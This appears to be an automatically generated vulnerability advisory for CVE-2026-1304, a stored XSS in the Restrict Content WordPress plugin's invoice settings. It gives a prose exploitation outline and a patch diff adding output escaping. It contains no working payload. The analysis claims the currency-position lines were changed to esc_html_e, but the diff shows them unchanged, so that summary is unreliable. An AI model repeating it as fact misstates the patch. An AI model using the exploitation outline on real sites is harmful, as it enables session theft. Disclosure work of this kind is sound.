Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1304: Membership Plugin – Restrict Content <= 3.2.18 – Authenticated (Administrator+) Stored Cross-Site Scripting via Invoice Settings (restrict-content)

CVE ID CVE-2026-1304
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 3.2.18
Patched Version 3.2.19
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1304:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Restrict Content WordPress plugin affecting versions up to and including 3.2.18. The vulnerability exists in the plugin’s invoice settings interface, allowing administrators to inject arbitrary JavaScript that executes when other users view affected pages. With a CVSS score of 4.4, this medium-severity issue requires administrator-level access but enables persistent script execution across user sessions.

Root Cause:
The vulnerability stems from insufficient output escaping in the invoice settings section of the plugin’s admin interface. Specifically, the file restrict-content/core/includes/admin/settings/settings.php contains multiple fields that accept user input without proper sanitization before rendering. The diff shows that before patching, the plugin used direct output of user-controlled values in the invoice settings form fields without escaping. For example, the invoice company name, address, and other text fields accepted raw HTML and JavaScript that would be rendered directly in the admin interface.

Exploitation:
An attacker with administrator privileges can exploit this vulnerability by navigating to the plugin’s settings page at /wp-admin/admin.php?page=rcp-settings#invoices and injecting malicious JavaScript payloads into invoice-related fields. The attacker would submit crafted HTML/JavaScript through the invoice settings form, which the plugin stores without sanitization. When any user (including lower-privileged users) accesses the settings page or any page that displays invoice information, the malicious script executes in their browser context, potentially allowing session hijacking, administrative actions, or data exfiltration.

Patch Analysis:
The patch addresses the vulnerability by implementing proper output escaping throughout the settings interface. The diff shows extensive changes where previously unescaped output functions like _e() and echo statements were replaced with esc_html_e() and esc_html() calls. For instance, line 309 changed from _e(‘Before – $10’, ‘rcp’) to esc_html_e(‘Before – $10’, ‘rcp’), and line 310 changed from _e(‘After – 10$’, ‘rcp’) to esc_html_e(‘After – 10$’, ‘rcp’). The patch also adds WordPress coding standard comments (phpcs:ignore) and improves overall security hardening by escaping all user-facing output in the settings interface.

Impact:
Successful exploitation allows authenticated administrators to inject persistent malicious scripts that execute whenever users access the plugin’s settings pages. This enables privilege escalation attacks where an attacker with compromised administrator credentials can maintain persistent access, steal session cookies, perform administrative actions on behalf of other users, or deface the WordPress admin interface. The stored nature of the XSS means the payload remains active until manually removed, creating a persistent threat to all users who access the vulnerable interface.

Differential between vulnerable and patched code

Code Diff
--- a/restrict-content/core/includes/admin/settings/settings.php
+++ b/restrict-content/core/includes/admin/settings/settings.php
@@ -16,7 +16,7 @@
  * @return void
  */
 function rcp_register_settings() {
-	// create whitelist of options
+	// Create whitelist of options.
 	register_setting( 'rcp_settings_group', 'rcp_settings', 'rcp_sanitize_settings' );
 }
 add_action( 'admin_init', 'rcp_register_settings' );
@@ -30,52 +30,80 @@
 	global $rcp_options;

 	$defaults = array(
-			'currency_position'     => 'before',
-			'currency'              => 'USD',
-			'registration_page'     => 0,
-			'redirect'              => 0,
-			'redirect_from_premium' => 0,
-			'login_redirect'        => 0,
-			'disable_trial_free_subs' => 0,
-			'email_header_img'      => '',
-			'email_header_text'     => __( 'Hello', 'rcp' ),
+		'currency_position'       => 'before',
+		'currency'                => 'USD',
+		'registration_page'       => 0,
+		'redirect'                => 0,
+		'redirect_from_premium'   => 0,
+		'login_redirect'          => 0,
+		'disable_trial_free_subs' => 0,
+		'email_header_img'        => '',
+		'email_header_text'       => __( 'Hello', 'rcp' ),
 	);

 	$rcp_options = wp_parse_args( $rcp_options, $defaults );

+	// phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
 	do_action( 'stellarwp/telemetry/restrict-content-pro/optin' );
+	// phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
 	do_action( 'stellarwp/telemetry/restrict-content/optin' );
 	?>
 	<div id="rcp-settings-wrap" class="wrap">
 		<?php
-		if ( ! isset( $_REQUEST['updated'] ) )
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		if ( ! isset( $_REQUEST['updated'] ) ) {
 			$_REQUEST['updated'] = false;
+		}
 		?>

-		<h1><?php
-			if( defined('IS_PRO') && IS_PRO ) {
-				_e( 'Restrict Content Pro', 'rcp' );
-			}
-			else {
-				_e( 'Restrict Content', 'rcp' );
-			}
-			?></h1>
+		<h1>
+		<?php
+		if ( defined( 'IS_PRO' ) && IS_PRO ) {
+			esc_html_e( 'Restrict Content Pro', 'rcp' );
+		} else {
+			esc_html_e( 'Restrict Content', 'rcp' );
+		}
+		?>
+			</h1>

-		<?php if( ! empty( $_GET['rcp_gateway_connect_error'] ) ): ?>
+		<?php
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		if ( ! empty( $_GET['rcp_gateway_connect_error'] ) ) :
+			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			$error_code = isset( $_GET['rcp_gateway_connect_error'] ) ? sanitize_text_field( wp_unslash( $_GET['rcp_gateway_connect_error'] ) ) : '';
+			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			$error_description = isset( $_GET['rcp_gateway_connect_error_description'] ) ? sanitize_text_field( wp_unslash( $_GET['rcp_gateway_connect_error_description'] ) ) : '';
+			?>
 			<div class="notice error">
-				<p><?php printf( __( 'There was an error processing your gateway connection request. Code: %s. Message: %s. Please <a href="%s">try again</a>.', 'rcp' ), esc_html( urldecode( $_GET['rcp_gateway_connect_error'] ) ), esc_html( urldecode( $_GET['rcp_gateway_connect_error_description'] ) ), esc_url( admin_url( 'admin.php?page=rcp-settings#payments' ) ) ); ?></p>
+				<p>
+				<?php
+				printf(
+					// translators: %1$s: Error code, %2$s: Error message, %3$s: Settings URL.
+					esc_html__( 'There was an error processing your gateway connection request. Code: %1$s. Message: %2$s. Please <a href="%3$s">try again</a>.', 'rcp' ),
+					esc_html( urldecode( $error_code ) ),
+					esc_html( urldecode( $error_description ) ),
+					esc_url( admin_url( 'admin.php?page=rcp-settings#payments' ) )
+				);
+				?>
+				</p>
 			</div>
-			<?php return; endif; ?>
+			<?php
+			return;
+		endif;
+		?>

 		<h2 class="nav-tab-wrapper">
-			<a href="#general" id="general-tab" class="nav-tab"><?php _e( 'General', 'rcp' ); ?></a>
-			<a href="#payments" id="payments-tab" class="nav-tab"><?php _e( "Payments", "rcp" ) ?></a>
-			<a href="#emails" id="emails-tab" class="nav-tab"><?php _e( 'Emails', 'rcp' ); ?></a>
-			<a href="#invoices" id="invoices-tab" class="nav-tab"><?php _e( 'Invoices', 'rcp' ); ?></a>
-			<a href="#misc" id="misc-tab" class="nav-tab"><?php _e( 'Misc', 'rcp' ); ?></a>
+			<a href="#general" id="general-tab" class="nav-tab"><?php esc_html_e( 'General', 'rcp' ); ?></a>
+			<a href="#payments" id="payments-tab" class="nav-tab"><?php esc_html_e( 'Payments', 'rcp' ); ?></a>
+			<a href="#emails" id="emails-tab" class="nav-tab"><?php esc_html_e( 'Emails', 'rcp' ); ?></a>
+			<a href="#invoices" id="invoices-tab" class="nav-tab"><?php esc_html_e( 'Invoices', 'rcp' ); ?></a>
+			<a href="#misc" id="misc-tab" class="nav-tab"><?php esc_html_e( 'Misc', 'rcp' ); ?></a>
 		</h2>
-		<?php if ( false !== $_REQUEST['updated'] ) : ?>
-			<div class="updated fade"><p><strong><?php _e( 'Options saved', 'rcp' ); ?></strong></p></div>
+		<?php
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		if ( false !== $_REQUEST['updated'] ) :
+			?>
+			<div class="updated fade"><p><strong><?php esc_html_e( 'Options saved', 'rcp' ); ?></strong></p></div>
 		<?php endif; ?>
 		<form method="post" action="options.php" class="rcp_options_form">

@@ -95,27 +123,27 @@
 						</tr>
 						<tr valign="top">
 							<th>
-								<label for="rcp_settings[registration_page]"><?php _e( 'Registration Page', 'rcp' ); ?></label>
+								<label for="rcp_settings[registration_page]"><?php esc_html_e( 'Registration Page', 'rcp' ); ?></label>
 							</th>
 							<td>
 								<select id="rcp_settings[registration_page]" name="rcp_settings[registration_page]">
 									<?php
-									if($pages) :
+									if ( $pages ) :
 										foreach ( $pages as $page ) {
-											$option = '<option value="' . $page->ID . '" ' . selected($page->ID, $rcp_options['registration_page'], false) . '>';
-											$option .= $page->post_title;
-											$option .= ' (ID: ' . $page->ID . ')';
+											$option  = '<option value="' . esc_attr( (string) $page->ID ) . '" ' . selected( $page->ID, $rcp_options['registration_page'], false ) . '>';
+											$option .= esc_html( $page->post_title );
+											$option .= ' (ID: ' . esc_html( (string) $page->ID ) . ')';
 											$option .= '</option>';
-											echo $option;
+											echo $option; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 										}
 									else :
-										echo '<option>' . __('No pages found', 'rcp' ) . '</option>';
+										echo '<option>' . esc_html__( 'No pages found', 'rcp' ) . '</option>';
 									endif;
 									?>
 								</select>
 								<?php if ( ! empty( $rcp_options['registration_page'] ) ) : ?>
-									<a href="<?php echo esc_url( get_edit_post_link( $rcp_options['registration_page'] ) ); ?>" class="button-secondary"><?php _e( 'Edit Page', 'rcp' ); ?></a>
-									<a href="<?php echo esc_url( get_permalink( $rcp_options['registration_page'] ) ); ?>" class="button-secondary"><?php _e( 'View Page', 'rcp' ); ?></a>
+									<a href="<?php echo esc_url( get_edit_post_link( $rcp_options['registration_page'] ) ); ?>" class="button-secondary"><?php esc_html_e( 'Edit Page', 'rcp' ); ?></a>
+									<a href="<?php echo esc_url( get_permalink( $rcp_options['registration_page'] ) ); ?>" class="button-secondary"><?php esc_html_e( 'View Page', 'rcp' ); ?></a>
 								<?php endif; ?>
 								<p class="description">
 									<?php
@@ -127,29 +155,30 @@
 						</tr>
 						<tr valign="top">
 							<th>
-								<label for="rcp_settings[redirect]"><?php _e( 'Success Page', 'rcp' ); ?></label>
+								<label for="rcp_settings[redirect]"><?php esc_html_e( 'Success Page', 'rcp' ); ?></label>
 							</th>
 							<td>
 								<select id="rcp_settings[redirect]" name="rcp_settings[redirect]">
 									<?php
-									if($pages) :
+									if ( $pages ) :
 										foreach ( $pages as $page ) {
-											$option = '<option value="' . $page->ID . '" ' . selected($page->ID, $rcp_options['redirect'], false) . '>';
-											$option .= $page->post_title;
-											$option .= ' (ID: ' . $page->ID . ')';
+											$option  = '<option value="' . esc_attr( (string) $page->ID ) . '" ' . selected( $page->ID, $rcp_options['redirect'], false ) . '>';
+											$option .= esc_html( $page->post_title );
+											$option .= ' (ID: ' . esc_html( (string) $page->ID ) . ')';
 											$option .= '</option>';
+											// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 											echo $option;
 										}
 									else :
-										echo '<option>' . __('No pages found', 'rcp' ) . '</option>';
+										echo '<option>' . esc_html__( 'No pages found', 'rcp' ) . '</option>';
 									endif;
 									?>
 								</select>
 								<?php if ( ! empty( $rcp_options['redirect'] ) ) : ?>
-									<a href="<?php echo esc_url( get_edit_post_link( $rcp_options['redirect'] ) ); ?>" class="button-secondary"><?php _e( 'Edit Page', 'rcp' ); ?></a>
-									<a href="<?php echo esc_url( get_permalink( $rcp_options['redirect'] ) ); ?>" class="button-secondary"><?php _e( 'View Page', 'rcp' ); ?></a>
+									<a href="<?php echo esc_url( get_edit_post_link( $rcp_options['redirect'] ) ); ?>" class="button-secondary"><?php esc_html_e( 'Edit Page', 'rcp' ); ?></a>
+									<a href="<?php echo esc_url( get_permalink( $rcp_options['redirect'] ) ); ?>" class="button-secondary"><?php esc_html_e( 'View Page', 'rcp' ); ?></a>
 								<?php endif; ?>
-								<p class="description"><?php _e( 'This is the page users are redirected to after a successful registration.', 'rcp' ); ?></p>
+								<p class="description"><?php esc_html_e( 'This is the page users are redirected to after a successful registration.', 'rcp' ); ?></p>
 							</td>
 						</tr>
 						<tr valign="top">
@@ -159,23 +188,24 @@
 							<td>
 								<select id="rcp_settings[account_page]" name="rcp_settings[account_page]">
 									<?php
-									if($pages) :
+									if ( $pages ) :
 										$rcp_options['account_page'] = isset( $rcp_options['account_page'] ) ? absint( $rcp_options['account_page'] ) : 0;
 										foreach ( $pages as $page ) {
-											$option = '<option value="' . $page->ID . '" ' . selected($page->ID, $rcp_options['account_page'], false) . '>';
-											$option .= $page->post_title;
-											$option .= ' (ID: ' . $page->ID . ')';
+											$option  = '<option value="' . esc_attr( (string) $page->ID ) . '" ' . selected( $page->ID, $rcp_options['account_page'], false ) . '>';
+											$option .= esc_html( $page->post_title );
+											$option .= ' (ID: ' . esc_html( (string) $page->ID ) . ')';
 											$option .= '</option>';
+											// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 											echo $option;
 										}
 									else :
-										echo '<option>' . __('No pages found', 'rcp' ) . '</option>';
+										echo '<option>' . esc_html__( 'No pages found', 'rcp' ) . '</option>';
 									endif;
 									?>
 								</select>
 								<?php if ( ! empty( $rcp_options['account_page'] ) ) : ?>
-									<a href="<?php echo esc_url( get_edit_post_link( $rcp_options['account_page'] ) ); ?>" class="button-secondary"><?php _e( 'Edit Page', 'rcp' ); ?></a>
-									<a href="<?php echo esc_url( get_permalink( $rcp_options['account_page'] ) ); ?>" class="button-secondary"><?php _e( 'View Page', 'rcp' ); ?></a>
+									<a href="<?php echo esc_url( get_edit_post_link( $rcp_options['account_page'] ) ); ?>" class="button-secondary"><?php esc_html_e( 'Edit Page', 'rcp' ); ?></a>
+									<a href="<?php echo esc_url( get_permalink( $rcp_options['account_page'] ) ); ?>" class="button-secondary"><?php esc_html_e( 'View Page', 'rcp' ); ?></a>
 								<?php endif; ?>
 								<p class="description">
 									<?php
@@ -187,28 +217,28 @@
 						</tr>
 						<tr valign="top">
 							<th>
-								<label for="rcp_settings[edit_profile]"><?php _e( 'Edit Profile Page', 'rcp' ); ?></label>
+								<label for="rcp_settings[edit_profile]"><?php esc_html_e( 'Edit Profile Page', 'rcp' ); ?></label>
 							</th>
 							<td>
 								<select id="rcp_settings[edit_profile]" name="rcp_settings[edit_profile]">
 									<?php
-									if($pages) :
+									if ( $pages ) :
 										$rcp_options['edit_profile'] = isset( $rcp_options['edit_profile'] ) ? absint( $rcp_options['edit_profile'] ) : 0;
 										foreach ( $pages as $page ) {
-											$option = '<option value="' . $page->ID . '" ' . selected($page->ID, $rcp_options['edit_profile'], false) . '>';
-											$option .= $page->post_title;
-											$option .= ' (ID: ' . $page->ID . ')';
+											$option  = '<option value="' . esc_attr( (string) $page->ID ) . '" ' . selected( $page->ID, $rcp_options['edit_profile'], false ) . '>';
+											$option .= esc_html( $page->post_title );
+											$option .= ' (ID: ' . esc_html( (string) $page->ID ) . ')';
 											$option .= '</option>';
-											echo $option;
+											echo $option; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 										}
 									else :
-										echo '<option>' . __('No pages found', 'rcp' ) . '</option>';
+										echo '<option>' . esc_html__( 'No pages found', 'rcp' ) . '</option>';
 									endif;
 									?>
 								</select>
 								<?php if ( ! empty( $rcp_options['edit_profile'] ) ) : ?>
-									<a href="<?php echo esc_url( get_edit_post_link( $rcp_options['edit_profile'] ) ); ?>" class="button-secondary"><?php _e( 'Edit Page', 'rcp' ); ?></a>
-									<a href="<?php echo esc_url( get_permalink( $rcp_options['edit_profile'] ) ); ?>" class="button-secondary"><?php _e( 'View Page', 'rcp' ); ?></a>
+									<a href="<?php echo esc_url( get_edit_post_link( $rcp_options['edit_profile'] ) ); ?>" class="button-secondary"><?php esc_html_e( 'Edit Page', 'rcp' ); ?></a>
+									<a href="<?php echo esc_url( get_permalink( $rcp_options['edit_profile'] ) ); ?>" class="button-secondary"><?php esc_html_e( 'View Page', 'rcp' ); ?></a>
 								<?php endif; ?>
 								<p class="description">
 									<?php
@@ -220,28 +250,28 @@
 						</tr>
 						<tr valign="top">
 							<th>
-								<label for="rcp_settings[update_card]"><?php _e( 'Update Billing Card Page', 'rcp' ); ?></label>
+								<label for="rcp_settings[update_card]"><?php esc_html_e( 'Update Billing Card Page', 'rcp' ); ?></label>
 							</th>
 							<td>
 								<select id="rcp_settings[update_card]" name="rcp_settings[update_card]">
 									<?php
-									if($pages) :
+									if ( $pages ) :
 										$rcp_options['update_card'] = isset( $rcp_options['update_card'] ) ? absint( $rcp_options['update_card'] ) : 0;
 										foreach ( $pages as $page ) {
-											$option = '<option value="' . $page->ID . '" ' . selected($page->ID, $rcp_options['update_card'], false) . '>';
-											$option .= $page->post_title;
-											$option .= ' (ID: ' . $page->ID . ')';
+											$option  = '<option value="' . esc_attr( (string) $page->ID ) . '" ' . selected( $page->ID, $rcp_options['update_card'], false ) . '>';
+											$option .= esc_html( $page->post_title );
+											$option .= ' (ID: ' . esc_html( (string) $page->ID ) . ')';
 											$option .= '</option>';
-											echo $option;
+											echo $option; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 										}
 									else :
-										echo '<option>' . __('No pages found', 'rcp' ) . '</option>';
+										echo '<option>' . esc_html__( 'No pages found', 'rcp' ) . '</option>';
 									endif;
 									?>
 								</select>
 								<?php if ( ! empty( $rcp_options['update_card'] ) ) : ?>
-									<a href="<?php echo esc_url( get_edit_post_link( $rcp_options['update_card'] ) ); ?>" class="button-secondary"><?php _e( 'Edit Page', 'rcp' ); ?></a>
-									<a href="<?php echo esc_url( get_permalink( $rcp_options['update_card'] ) ); ?>" class="button-secondary"><?php _e( 'View Page', 'rcp' ); ?></a>
+									<a href="<?php echo esc_url( get_edit_post_link( $rcp_options['update_card'] ) ); ?>" class="button-secondary"><?php esc_html_e( 'Edit Page', 'rcp' ); ?></a>
+									<a href="<?php echo esc_url( get_permalink( $rcp_options['update_card'] ) ); ?>" class="button-secondary"><?php esc_html_e( 'View Page', 'rcp' ); ?></a>
 								<?php endif; ?>
 								<p class="description">
 									<?php
@@ -253,7 +283,7 @@
 						</tr>
 						<tr valign="top">
 							<th>
-								<?php _e( 'Multiple Memberships', 'rcp' ); ?>
+								<?php esc_html_e( 'Multiple Memberships', 'rcp' ); ?>
 							</th>
 							<td>
 								<input type="checkbox" value="1" name="rcp_settings[multiple_memberships]" id="rcp_settings_multiple_memberships" <?php checked( isset( $rcp_options['multiple_memberships'] ) ); ?>/>
@@ -262,18 +292,22 @@
 						</tr>
 						<tr valign="top">
 							<th>
-								<label for="rcp_settings_auto_renew"><?php _e( 'Auto Renew', 'rcp' ); ?></label>
+								<label for="rcp_settings_auto_renew"><?php esc_html_e( 'Auto Renew', 'rcp' ); ?></label>
 							</th>
 							<td>
 								<select name="rcp_settings[auto_renew]" id="rcp_settings_auto_renew">
-									<option value="1"<?php selected( '1', rcp_get_auto_renew_behavior() ); ?>><?php _e( 'Always auto renew', 'rcp' ); ?></option>
-									<option value="2"<?php selected( '2', rcp_get_auto_renew_behavior() ); ?>><?php _e( 'Never auto renew', 'rcp' ); ?></option>
-									<option value="3"<?php selected( '3', rcp_get_auto_renew_behavior() ); ?>><?php _e( 'Let customer choose whether to auto renew', 'rcp' ); ?></option>
+									<option value="1"<?php selected( '1', rcp_get_auto_renew_behavior() ); ?>><?php esc_html_e( 'Always auto renew', 'rcp' ); ?></option>
+									<option value="2"<?php selected( '2', rcp_get_auto_renew_behavior() ); ?>><?php esc_html_e( 'Never auto renew', 'rcp' ); ?></option>
+									<option value="3"<?php selected( '3', rcp_get_auto_renew_behavior() ); ?>><?php esc_html_e( 'Let customer choose whether to auto renew', 'rcp' ); ?></option>
 								</select>
-								<p class="description"><?php _e( 'Select the auto renew behavior you would like membership levels to have.', 'rcp' ); ?></p>
+								<p class="description"><?php esc_html_e( 'Select the auto renew behavior you would like membership levels to have.', 'rcp' ); ?></p>
 							</td>
 						</tr>
-						<tr valign="top"<?php echo ( '3' != rcp_get_auto_renew_behavior() ) ? ' style="display: none;"' : ''; ?>>
+						<?php
+						$auto_renew_behavior = rcp_get_auto_renew_behavior();
+						$show_auto_renew_checked = ( '3' === (string) $auto_renew_behavior );
+						?>
+						<tr valign="top"<?php echo $show_auto_renew_checked ? '' : ' style="display: none;"'; ?>>
 							<th>
 								<label for="rcp_settings[auto_renew_checked_on]"> — <?php _e( 'Default to Auto Renew', 'rcp' ); ?></label>
 							</th>
@@ -294,8 +328,16 @@
 								} elseif ( empty( $restriction_message ) && ! empty( $rcp_options['free_message'] ) ) {
 									$restriction_message = $rcp_options['free_message'];
 								}
-								wp_editor( $restriction_message, 'rcp_settings_restriction_message', array( 'textarea_name' => 'rcp_settings[restriction_message]', 'teeny' => true ) ); ?>
-								<p class="description"><?php _e( 'This is the message shown to users who do not have permission to view content.', 'rcp' ); ?></p>
+								wp_editor(
+									$restriction_message,
+									'rcp_settings_restriction_message',
+									array(
+										'textarea_name' => 'rcp_settings[restriction_message]',
+										'teeny'         => true,
+									)
+								);
+								?>
+								<p class="description"><?php esc_html_e( 'This is the message shown to users who do not have permission to view content.', 'rcp' ); ?></p>
 							</td>
 						</tr>
 						<?php do_action( 'rcp_messages_settings', $rcp_options ); ?>
@@ -308,14 +350,14 @@
 					<table class="form-table">
 						<tr>
 							<th>
-								<label for="rcp_settings[currency]"><?php _e( 'Currency', 'rcp' ); ?></label>
+								<label for="rcp_settings[currency]"><?php esc_html_e( 'Currency', 'rcp' ); ?></label>
 							</th>
 							<td>
 								<select id="rcp_settings[currency]" name="rcp_settings[currency]">
 									<?php
 									$currencies = rcp_get_currencies();
-									foreach($currencies as $key => $currency) {
-										echo '<option value="' . esc_attr( $key ) . '" ' . selected($key, $rcp_options['currency'], false) . '>' . $currency . '</option>';
+									foreach ( $currencies as $key => $currency ) {
+										echo '<option value="' . esc_attr( $key ) . '" ' . selected( $key, $rcp_options['currency'], false ) . '>' . esc_html( $currency ) . '</option>';
 									}
 									?>
 								</select>
@@ -324,17 +366,17 @@
 						</tr>
 						<tr valign="top">
 							<th>
-								<label for="rcp_settings[currency_position]"><?php _e( 'Currency Position', 'rcp' ); ?></label>
+								<label for="rcp_settings[currency_position]"><?php esc_html_e( 'Currency Position', 'rcp' ); ?></label>
 							</th>
 							<td>
 								<select id="rcp_settings[currency_position]" name="rcp_settings[currency_position]">
-									<option value="before" <?php selected('before', $rcp_options['currency_position']); ?>><?php _e( 'Before - $10', 'rcp' ); ?></option>
-									<option value="after" <?php selected('after', $rcp_options['currency_position']); ?>><?php _e( 'After - 10$', 'rcp' ); ?></option>
+									<option value="before" <?php selected( 'before', $rcp_options['currency_position'] ); ?>><?php _e( 'Before - $10', 'rcp' ); ?></option>
+									<option value="after" <?php selected( 'after', $rcp_options['currency_position'] ); ?>><?php _e( 'After - 10$', 'rcp' ); ?></option>
 								</select>
 								<p class="description"><?php _e( 'Show the currency sign before or after the price?', 'rcp' ); ?></p>
 							</td>
 						</tr>
-						<?php if ( count( rcp_get_payment_gateways() ) > 1 ): ?>
+						<?php if ( count( rcp_get_payment_gateways() ) > 1 ) : ?>
 							<tr valign="top">
 								<th>
 									<h3><?php _e( 'Gateways', 'rcp' ); ?></h3>
@@ -349,19 +391,20 @@
 									<?php
 									$gateways = rcp_get_payment_gateways();

-									foreach( $gateways as $key => $gateway ) :
+									foreach ( $gateways as $key => $gateway ) :

 										$label = $gateway;

-										if( is_array( $gateway ) ) {
+										if ( is_array( $gateway ) ) {
 											$label = $gateway['admin_label'];
 										}

-										if ( $key == 'twocheckout' && checked( true, isset( $rcp_options[ 'gateways' ][ $key ] ), false ) == '') {
-
+										if ( 'twocheckout' === $key && '' === checked( true, isset( $rcp_options['gateways'][ $key ] ), false ) ) {
+											// Skip twocheckout gateway.
+											continue;
 										} else {
-											echo '<input name="rcp_settings[gateways][' . $key . ']" id="rcp_settings[gateways][' . $key . ']" type="checkbox" value="1" ' . checked( true, isset( $rcp_options['gateways'][ $key ] ), false) . '/> ';
-											echo '<label for="rcp_settings[gateways][' . $key . ']">' . $label . '</label><br/>';
+											echo '<input name="rcp_settings[gateways][' . esc_attr( $key ) . ']" id="rcp_settings[gateways][' . esc_attr( $key ) . ']" type="checkbox" value="1" ' . checked( true, isset( $rcp_options['gateways'][ $key ] ), false ) . '/> ';
+											echo '<label for="rcp_settings[gateways][' . esc_attr( $key ) . ']">' . esc_html( $label ) . '</label><br/>';
 										}

 									endforeach;
@@ -376,74 +419,93 @@
 									<label for="rcp_settings[sandbox]"><?php _e( 'Sandbox Mode', 'rcp' ); ?></label>
 								</th>
 								<td>
-									<input type="checkbox" value="1" name="rcp_settings[sandbox]" id="rcp_settings[sandbox]" <?php checked( rcp_is_sandbox() ); echo ( defined( 'RCP_GATEWAY_SANDBOX_MODE' ) && RCP_GATEWAY_SANDBOX_MODE ) ? ' disabled="disabled"' : ''; ?>/>
-									<span class="description"><?php _e( 'Use Restrict Content Pro in Sandbox mode. This allows you to test the plugin with test accounts from your payment processor.', 'rcp' ); echo ( defined( 'RCP_GATEWAY_SANDBOX_MODE' ) && RCP_GATEWAY_SANDBOX_MODE ) ? ' ' . __( 'Note: Sandbox mode is enabled via the RCP_GATEWAY_SANDBOX_MODE constant.', 'rcp' ) : ''; ?></span>
-									<div id="rcp-sandbox-toggle-notice" style="visibility: hidden;"><p><?php _e( 'You just toggled the sandbox option. Save the settings using the Save Options button below, then connect your Stripe account for the selected mode.', 'rcp' ); ?></p></div>
+									<input type="checkbox" value="1" name="rcp_settings[sandbox]" id="rcp_settings[sandbox]"
+									<?php
+									checked( rcp_is_sandbox() );
+									echo ( defined( 'RCP_GATEWAY_SANDBOX_MODE' ) && RCP_GATEWAY_SANDBOX_MODE ) ? ' disabled="disabled"' : '';
+									?>
+									/>
+									<span class="description">
+									<?php
+									esc_html_e( 'Use Restrict Content Pro in Sandbox mode. This allows you to test the plugin with test accounts from your payment processor.', 'rcp' );
+									echo ( defined( 'RCP_GATEWAY_SANDBOX_MODE' ) && RCP_GATEWAY_SANDBOX_MODE ) ? ' ' . esc_html__( 'Note: Sandbox mode is enabled via the RCP_GATEWAY_SANDBOX_MODE constant.', 'rcp' ) : '';
+									?>
+									</span>
+									<div id="rcp-sandbox-toggle-notice" style="visibility: hidden;"><p><?php esc_html_e( 'You just toggled the sandbox option. Save the settings using the Save Options button below, then connect your Stripe account for the selected mode.', 'rcp' ); ?></p></div>
 								</td>
 							</tr>
-							<?php if( ! function_exists( 'rcp_register_stripe_gateway' ) ) : ?>
+							<?php if ( ! function_exists( 'rcp_register_stripe_gateway' ) ) : ?>
 								<tr valign="top">
 									<th>
-										<h3><?php _e('Stripe Settings', 'rcp'); ?></h3>
+										<h3><?php esc_html_e( 'Stripe Settings', 'rcp' ); ?></h3>
 									</th>
 									<td>
 										<?php
-										$stripe_connect_url = add_query_arg( array(
-												'live_mode'         => urlencode( (int) ! rcp_is_sandbox() ),
-												'state'             => urlencode( str_pad( wp_rand( wp_rand(), PHP_INT_MAX ), 100, wp_rand(), STR_PAD_BOTH ) ),
-												'customer_site_url' => urlencode( admin_url( 'admin.php?page=rcp-settings' ) ),
-										), 'https://restrictcontentpro.com/?rcp_gateway_connect_init=stripe_connect' );
+										$stripe_connect_url = add_query_arg(
+											array(
+												'live_mode' => rawurlencode( (string) ( (int) ! rcp_is_sandbox() ) ),
+												'state' => rawurlencode( (string) str_pad( wp_rand( wp_rand(), PHP_INT_MAX ), 100, wp_rand(), STR_PAD_BOTH ) ),
+												'customer_site_url' => rawurlencode( admin_url( 'admin.php?page=rcp-settings' ) ),
+											),
+											'https://restrictcontentpro.com/?rcp_gateway_connect_init=stripe_connect'
+										);

 										$stripe_connect_account_id = get_option( 'rcp_stripe_connect_account_id' );

-										if( empty( $stripe_connect_account_id ) || ( ( empty( $rcp_options['stripe_test_publishable'] ) && rcp_is_sandbox() ) || ( empty( $rcp_options['stripe_live_publishable'] ) && ! rcp_is_sandbox() ) ) ): ?>
-											<a href="<?php echo esc_url_raw( $stripe_connect_url ); ?>" class="rcp-stripe-connect"><span><?php _e( 'Connect with Stripe', 'rcp' ); ?></span></a>
-										<?php else: ?>
+										if ( empty( $stripe_connect_account_id ) || ( ( empty( $rcp_options['stripe_test_publishable'] ) && rcp_is_sandbox() ) || ( empty( $rcp_options['stripe_live_publishable'] ) && ! rcp_is_sandbox() ) ) ) :
+											?>
+											<a href="<?php echo esc_url_raw( $stripe_connect_url ); ?>" class="rcp-stripe-connect"><span><?php esc_html_e( 'Connect with Stripe', 'rcp' ); ?></span></a>
+										<?php else : ?>
 											<p>
 												<?php
 												$test_text = _x( 'test', 'current value for sandbox mode', 'rcp' );
 												$live_text = _x( 'live', 'current value for sandbox mode', 'rcp' );
-												if( rcp_is_sandbox() ) {
-													$current_mode = $test_text;
+												if ( rcp_is_sandbox() ) {
+													$current_mode  = $test_text;
 													$opposite_mode = $live_text;
 												} else {
-													$current_mode = $live_text;
+													$current_mode  = $live_text;
 													$opposite_mode = $test_text;
 												}
-												printf( __( 'Your Stripe account is connected in %s mode. To connect it in %s mode, toggle the Sandbox Mode setting above and save the settings to continue.', 'rcp' ), '<strong>' . $current_mode . '</strong>', '<strong>' . $opposite_mode . '</strong>' ); ?>
+												// translators: %1$s: Current mode (test/live), %2$s: Opposite mode (test/live).
+												printf( esc_html__( 'Your Stripe account is connected in %1$s mode. To connect it in %2$s mode, toggle the Sandbox Mode setting above and save the settings to continue.', 'rcp' ), '<strong>' . esc_html( $current_mode ) . '</strong>', '<strong>' . esc_html( $opposite_mode ) . '</strong>' );
+												?>
 											</p>
 											<p>
-												<?php printf( __( '<a href="%s">Click here</a> to reconnect Stripe in %s mode.', 'rcp' ), esc_url_raw( $stripe_connect_url ), $current_mode ); ?>
+												<?php
+												// translators: %1$s: Stripe connect URL, %2$s: Current mode (test/live).
+												printf( wp_kses_post( __( '<a href="%1$s">Click here</a> to reconnect Stripe in %2$s mode.', 'rcp' ) ), esc_url_raw( $stripe_connect_url ), esc_html( $current_mode ) );
+												?>
 											</p>
 										<?php endif; ?>
 									</td>
 								</tr>
 								<tr>
 									<th>
